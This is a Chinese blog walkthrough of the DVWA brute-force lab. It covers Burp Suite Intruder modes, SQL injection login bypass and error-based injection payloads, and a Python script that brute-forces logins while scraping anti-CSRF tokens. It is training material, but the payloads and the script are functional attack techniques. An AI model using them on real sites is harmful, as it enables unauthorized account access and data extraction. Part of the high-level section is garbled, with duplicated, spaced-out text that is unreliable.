dvwa brute force(暴力破解)

介绍

暴力破解其实没有什么神秘的,也是大家都有的一个四位方式,比如说我们有时候会忘记我们的手机密码,这个时候我们就会从我们之前使用的密码中一个个去试着解锁,这就是暴力破解的精髓所在了,也就是枚举猜解。所以暴力破解的前提就是你有一个强大的字典,字典就是我们已知的一些用户名和密码,我们会通过这个字典来猜解。

low

方法一:
我们可以直接使用burpsuite的intruder模块进行暴力测试。具体操作如下:
通过burpsuite抓包,然后在抓到的数据包内容处单击鼠标右键,会弹出一个功能栏,然后选择send to intruder,这样我们的数据包就被送到了intruder模块。
dvwa brute force(暴力破解)_第1张图片

注:burpsuite intruder模块使用教程:
第一部分
第二部分
第三部分
攻击类型:
第一种:
Sniper标签 这个是我们最常用的,Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。
第二种:
Battering ram – 这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中
第三种:
Pitchfork – 这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。比如:position中A处有a字典,B处有b字典,则a【1】将会对应b【1】进行attack处理,这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量
第四种:
Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。比如:position中A处有a字典,B处有b字典,则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。

在这里我们可以选择需要暴力测试的参数。我们只需要暴力破解username与password:
dvwa brute force(暴力破解)_第2张图片
接下来就是设置我们的payloads了(这里我只是演示,在真实环境下,往往需要很强大的字典才能够猜解成功):
dvwa brute force(暴力破解)_第3张图片
字典设置好过后,这个时候(当读者会使用intruder模块时,还可以涉恶之其它的选项)就可以开始攻击了,点击右上角的start attack。结果如下:
dvwa brute force(暴力破解)_第4张图片
我们可以从图中看到有两个返回的数据包的length长度与其它的都不一样,这很有可能就是正确爆破后得到的结果,具体是不是成功了,我们可以点击那一次请求,burpsuite会弹出请求的具体内容与返回内容,我们就可以根据页面内容进行判断是否攻击成功。
方法二
除了上面说的暴力猜解以外,我们还可以使用sql注入来进入后台。现在我们就进行黑盒测试:
我在username字段中添加了单引号,结果报错了:
这里写图片描述
很明显这是一个单引号post注入的案例。我们可以按照常规方法进行注入了:
1.确定字段数:

'order by 1#
'order by 2#
.
.
.
一直到
' order by 9#
才给我报了错
说明这是八个字段

2.下一步我是打算构造一个union查询,看看哪些字段会显示在页面上(虽然我觉得不会有,但是还是试了一下),结果没想到,就这么进入了后台:
dvwa brute force(暴力破解)_第5张图片
我注入的语句如下:

' union select 1,2,3,4,5,6,7,8#

注:纠正一点我刚刚说错了的地方,这其实是个get型的注入,因为提交的数据都是通过url传送的。
还有不要在意表单中填写的admin什么的,那是chrome帮我自动填充的,这是chrome的特性

能够进入后台让我很意外,我大概能够猜出后台的逻辑判断了:
查表的sql语句大概是:select username … from 表名 where username=用户输入的用户名 and password=用户输入的密码
然后就根据这个sql语句的结果集是否为空来判断登陆能否成功,结果集不为空则进入后台,结果集为空则显示密码/用户名不正确
上面只是我猜想的后台逻辑判断,具体还有待验证。虽然现在我们的目的达到了,成功进入了后台,但是这怎么足够呢?当然是要拿到数据啦:
现在拿到数据我有两个思路,因为页面的回显有两处:

用户登陆成功后,用户名会显示在登陆框下

dvwa brute force(暴力破解)_第6张图片
但是这里不能利用

因为数据库报错也会显示在一个页面中,所以我们同样可以利用报错注入
http://localhost/dvwa/vulnerabilities/brute/?username=%27%20union%20select%201,count(*),concat_ws(%27****%27,floor(rand(0)*2),version(),database())a,4,5,6,7,8%20from%20information_schema.tables%20group%20by%20a%23&password=password&Login=Login#

dvwa brute force(暴力破解)_第7张图片
数据成功爆出,大家再发挥一下想象吧。
下面我再补充一点绕过登陆的技巧:

' or 1=1#

我觉得这句应该可以绕过的,但是却没成功,于是改了一下:

' or 1=1 limit 1,1#

成功绕过,看来必须是要结果集中只有一条数据才能登陆成功
好的,现在我们来看下源码:

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful $html .= "

Welcome to the password protected area {$user}

"; $html .= ""; } else { // Login failed $html .= "

Username and/or password incorrect.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

可以看到没有对用户输入进行任何过滤,所以就导致了sql注入的成功,而且对暴力破解也没有一点预防。
####medium
中级的使用low等级中提到的burpsuite爆破的方法同样凑效,不过sql注入不能执行了,我们看看源码:

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful $html .= "

Welcome to the password protected area {$user}

"; $html .= ""; } else { // Login failed sleep( 2 ); $html .= "

Username and/or password incorrect.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

medium级别使用了mysqli_real_escape_string函数来预防sql注入。这个函数的作用如下:
dvwa brute force(暴力破解)_第8张图片
这个函数从某种程度上防止了sql注入,但是依旧有出现宽字节注入的风险

high

high级别提高了爆力攻击的复杂程度,但是并没有完全预防。
这次我们直接从源码入手,就不进行黑盒测试了。

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful $html .= "

Welcome to the password protected area {$user}

"; $html .= ""; } else { // Login failed sleep( rand( 0, 3 ) ); $html .= "

Username and/or password incorrect.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

我一开始使用burpsuite按照我们之前的方法进行爆破时,总是会出现302跳转,看了源码后终于发现,问题就出在源码出现的第一个函数checkToken(),我们再sublime中跟踪一下这个函数,看到函数的实现如下:
dvwa brute force(暴力破解)_第9张图片
可以看到这个函数检查了两个变量 s e s s i o n t o k e n 与 session_token与 sessiontokenuser_token。然后后面又执行了两个函数,我把注意力放在了dvwaRedirect()函数上,这个函数应该就是实现了302重定向的功能。那上面两个变量是什么东西呢?继续追踪,回到刚刚的源码文件,可以看到
这里写图片描述
u s e r t o k e n 来 自 于 客 户 端 , user_token来自于客户端, usertokensession_token来自 S E S S I O N 这 个 全 局 数 组 , 我 到 客 户 端 中 查 看 源 码 发 现 了 u s e r t o k e n 是 用 一 个 隐 藏 的 表 单 提 交 到 服 务 端 的 : ! [ 这 里 写 图 片 描 述 ] ( h t t p s : / / i m g − b l o g . c s d n . n e t / 20180426183301292 ? w a t e r m a r k / 2 / t e x t / a H R 0 c H M 6 L y 9 i b G 9 n L m N z Z G 4 u b m V 0 L 2 h l X 2 F u Z A = = / f o n t / 5 a 6 L 5 L 2 T / f o n t s i z e / 400 / f i l l / I 0 J B Q k F C M A = = / d i s s o l v e / 70 ) 那 这 个 客 户 端 的 u s e r t o k e n 又 是 哪 里 产 生 的 呢 ? 脑 残 的 我 一 开 始 还 以 为 是 j s 产 生 的 , 其 实 有 点 经 验 的 人 都 知 道 是 p h p 后 端 生 成 的 , 于 是 我 有 看 了 一 下 源 码 , 在 i n d e x . p h p 中 发 现 这 么 一 段 : ! [ 这 里 写 图 片 描 述 ] ( h t t p s : / / i m g − b l o g . c s d n . n e t / 20180426183602663 ? w a t e r m a r k / 2 / t e x t / a H R 0 c H M 6 L y 9 i b G 9 n L m N z Z G 4 u b m V 0 L 2 h l X 2 F u Z A = = / f o n t / 5 a 6 L 5 L 2 T / f o n t s i z e / 400 / f i l l / I 0 J B Q k F C M A = = / d i s s o l v e / 70 ) 然 后 再 跟 踪 一 下 t o k e n F i e l d ( ) 这 个 函 数 , 发 现 它 的 定 义 如 下 : ! [ 这 里 写 图 片 描 述 ] ( h t t p s : / / i m g − b l o g . c s d n . n e t / 20180426183721476 ? w a t e r m a r k / 2 / t e x t / a H R 0 c H M 6 L y 9 i b G 9 n L m N z Z G 4 u b m V 0 L 2 h l X 2 F u Z A = = / f o n t / 5 a 6 L 5 L 2 T / f o n t s i z e / 400 / f i l l / I 0 J B Q k F C M A = = / d i s s o l v e / 70 ) 我 想 没 错 就 是 它 了 , 可 以 看 到 其 实 _SESSION这个全局数组,我到客户端中查看源码发现了user_token是用一个隐藏的表单提交到服务端的: ![这里写图片描述](https://img-blog.csdn.net/20180426183301292?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70) 那这个客户端的user_token又是哪里产生的呢?脑残的我一开始还以为是js产生的,其实有点经验的人都知道是php后端生成的,于是我有看了一下源码,在index.php中发现这么一段: ![这里写图片描述](https://img-blog.csdn.net/20180426183602663?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70) 然后再跟踪一下tokenField()这个函数,发现它的定义如下: ![这里写图片描述](https://img-blog.csdn.net/20180426183721476?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70) 我想没错就是它了,可以看到其实 SESSIONusertoken![](https://imgblog.csdn.net/20180426183301292?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)usertokenjsphpindex.php![](https://imgblog.csdn.net/20180426183602663?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)tokenField()![](https://imgblog.csdn.net/20180426183721476?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)user_token就是 s e s s i o n t o k e n 。 那 我 们 再 看 一 下 session_token。那我们再看一下 sessiontokensession_token在哪里产生的,在high.php中发现了这么一句:
dvwa brute force(暴力破解)_第10张图片
再继续追踪:
dvwa brute force(暴力破解)_第11张图片
就是它了,现在就很清晰了,整个checkToken()函数就是判断我们客户端提交的token与服务端的token是否一致,不一致则跳转到index.php,这样做的目的就是为了预防无脑的爆破,现在我们就不能像之前那样,直接用burpsuite请求了,因为每一次合法请求需要的user_token都不一样,我们现在想要利用就需要每次都得到这个有效的user_token,有两个解决办法:
A:我们仍然使用burpsuite,不过需要点技巧
B:自己写一个脚本跑
接下来,我将分别给出这两中解决方法的实现:

方法1:burpsuite

还是同样抓包,发送到intruder
dvwa brute force(暴力破解)_第12张图片
burpsuite会自动识别可能可以攻击的参数,但是并不是我们想要的,我们需要指定我们的攻击目标,所以先清除bp给我们预设的:
dvwa brute force(暴力破解)_第13张图片
然后我们选中我们需要攻击的目标:
dvwa brute force(暴力破解)_第14张图片
为几个参数选择字典等(不一定是字典):
第一个参数,也就是我们这里的username
dvwa brute force(暴力破解)_第15张图片
第二个参数,也就是这里的password:
dvwa brute force(暴力破解)_第16张图片
第三个参数,就是user_token,注意下图几个箭头指向的位置的值:
dvwa brute force(暴力破解)_第17张图片
这个user_token就不是单纯的使用字典了,而是需要从我们的页面中获取,burpsuite正好提供了这个功能,方法如下:
找到option->grep extract,按照下图进行操作
dvwa brute force(暴力破解)_第18张图片
dvwa brute force(暴力破解)_第19张图片
我们现在就可以每次都提取到页面特定位置的值了,然后我们就选中它作为参数三的值:
dvwa brute force(暴力破解)_第20张图片
对了,一定要设置跟随重定向,方法如下:
options->redirection设置为always
dvwa brute force(暴力破解)_第21张图片
现在还不能start attack,因为还没有选择攻击方式,bp一共有四种攻击方式,我前面也提到过了,网上翻就可以翻到。
dvwa brute force(暴力破解)_第22张图片
其实这样跑出争正确的用户名密码的几率是很小的,原因就是因为bp的四种攻击方式并不完善,像这样跑三个参数的爆破,特别是又有一个是随机的token,跑出来的几率小,但是如果我们知道用户名胡密码中的任意一个,那么只需要跑一个token和密码(用户名)就很轻松,我们可以用攻击类型pitchfork,很容易就可以爆破出来。

方法二:python脚本

脚本如下:

#! /usr/bin/env/python
#-*-coding:utf-8-*-

import requests
from bs4 import BeautifulSoup

#字典
payloads = [
    'administrator',
    'admin',
    'password',
    'passwd',
    '123456',
    '123'
]

url = """http://localhost/dvwa/vulnerabilities/brute/?username={0}&password={1}&Login=Login&user_token={2}#"""

cookies = {
    'security':'high',
    'PHPSESSID':'cd1fggfc0bi84c3lh7kpsh98g2',
    'mask':'123'
}

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
}

def attack(payloads,url):
    #先要获得user_token
    source = 'http://localhost/dvwa/vulnerabilities/brute/index.php#'
    index = 0
    web_data = requests.get(source,headers = headers,cookies=cookies)#请求必须带上cookie,因为dvwa需要登陆
    soup = BeautifulSoup(web_data.text, 'lxml')
    user_token = soup.select('input[name="user_token"]')[0]['value']
    #从字典枚举
    for payload1 in payloads:
        for payload2 in payloads:
            target = url.format(payload1,payload2,user_token)
            print u'当前请求:'+target
            web_data = requests.get(target,headers = headers,cookies=cookies)
            soup = BeautifulSoup(web_data.text,'lxml')
            user_token = soup.select('input[name="user_token"]')[0]['value']
            feature = soup.find('pre')
            try:
                if feature.get_text()=='Username and/or password incorrect.':#错误的密码或者用户名就会页面会出现此语句,这也是我们需要检索的
                    print u'错误'
            except:
                print u'可能得到结果:'
                print 'username:'+payload1+'\n'+'password:'+payload2
                exit(u'结束')

if __name__ == '__main__':
    attack(payloads,url)


这里只是一个思路,实际上字典应该是从文件读的,我这里就用一个数组代替了,改用文件也就行了。

每天进步一点点

你可能感兴趣的:(Web安全)